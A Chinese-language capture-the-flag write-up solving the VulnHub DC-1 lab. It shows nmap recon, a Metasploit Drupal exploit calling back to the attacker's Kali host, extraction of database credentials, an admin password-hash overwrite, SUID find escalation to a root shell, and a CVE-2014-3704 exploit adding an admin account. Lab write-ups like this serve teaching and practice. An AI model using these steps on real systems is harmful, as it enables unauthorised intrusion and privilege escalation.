文章来源|MS08067 安全实验室
本文作者:大方子(Ms08067实验室核心成员)
基本信息
Kali:192.168.56.116
DC1:192.168.56.115
实验过程
现在Kali中使用arp-scan进行主机探活
代码语言:javascript复制sudo arp‐scan ‐‐interface=eth1 192.168.56.0/24
逐个排查发现DC1的IP地址为192.168.56.115
然后使用nmap对主机进行探测
代码语言:javascript复制nmap ‐sC ‐sV ‐A ‐oA vulnhub/DC1/DC1 192.168.56.115
主机分开开了:22,80,111端口
我们先从80端口入手
可以发现网站是Drupal cms管理系统
我们启动msf,搜索下Drupal可用的EXP
代码语言:javascript复制msf > search Drupal
这里我们选用exploit/unix/webapp/drupal_drupalgeddon2
因为他是最新的,而且品质为excellent
代码语言:javascript复制msf6 > use exploit/unix/webapp/drupal_coder_exec
msf6 exploit(unix/webapp/drupal_coder_exec) > show options
msf6 exploit(unix/webapp/drupal_coder_exec) > set RHOSTS 192.168.56.115
msf6 exploit(unix/webapp/drupal_coder_exec) > set LHOST 192.168.56.116
msf6 exploit(unix/webapp/drupal_coder_exec) > run
这样我们就可以成功得到一个会话
我们用会话返回一个shell
发现flag1.txt
查看下flag1.txt内容
给我们一个提示 Every good CMS needs a config file - and so do you.
百度drupal配置文件的位置
代码语言:javascript复制sites/default/files
里面可以看到数据库的账号密码,同时我们还可以看到flag2的内容说:爆破不是唯一获得访问权限方法
代码语言:javascript复制'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
那么我们用获得数据库的账号密码登录下数据看看
这里需要注意的是,我们需要用python转换成标准的shell
否则就会出现下面的场景,进入mysql之后
shell就没有反应
我们输入
代码语言:javascript复制python ‐c "import pty;pty.spawn('/bin/bash')"
代码语言:javascript复制mysql> show databases;
mysql> use drupaldb;
mysql> show tables;
mysql> select * from users;
mysql> select name,pass from users;
这里的密码是经过drupal加密
在scripts的文件夹中有用来算密码的脚本,但是因为靶机的环境原因会报错
网上找了下,直接用别人算好的hash进行替换
代码语言:javascript复制明文:password
密文:$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4
接下来我们把管理员的密码重置下
代码语言:javascript复制mysql> update users set pass='$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4'
where name='admin';
然后进行登录
然后发现flag3
从flag3的内容可以看出,提示我们需要用find提权同时我们也可以在家目录中找到flag4
代码语言:javascript复制Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
我们使用find找下具有root权限的suid
代码语言:javascript复制# ‐perm 按照文件权限来查找文件
# ‐u=w 基于用户可写查找
# ‐type f 查找普通类型文件
find / ‐perm ‐u=s ‐type f 2>/dev/null
可以看到find是可以用来提权的
我们尝试用find执行命令
代码语言:javascript复制# 这里需要注意‐name参数填写的文件名,是需要系统真实存在的
www‐data@DC‐1:/home/flag4$ find / ‐name flag4 ‐exec "whoami" ;
那么我们接下来用find提权
代码语言:javascript复制www‐data@DC‐1:/home/flag4$ find / ‐name flag4 ‐exec "/bin/sh" ;
这样我们就拿到最终的flag
额外内容
使用CVE2014-3704添加管理账号
在exploit-db中有可以直接利用的EXP,可以直接添加管理账号地址:https://www.exploit-db.com/exploits/34992 我们在Kali上开启HTTP服务,让靶机从Kali上下载EXP
然后我们通过这个EXP创建管理账号
代码语言:javascript复制www‐data@DC‐1:/var/www$ python 34992.py ‐t http://192.168.56.115/ ‐u dfz ‐p ms08067
然后就可以正常登录
另一种查询具有root权限命令的find语句
代码语言:javascript复制find / ‐user root ‐perm ‐4000 ‐print 2>/dev/null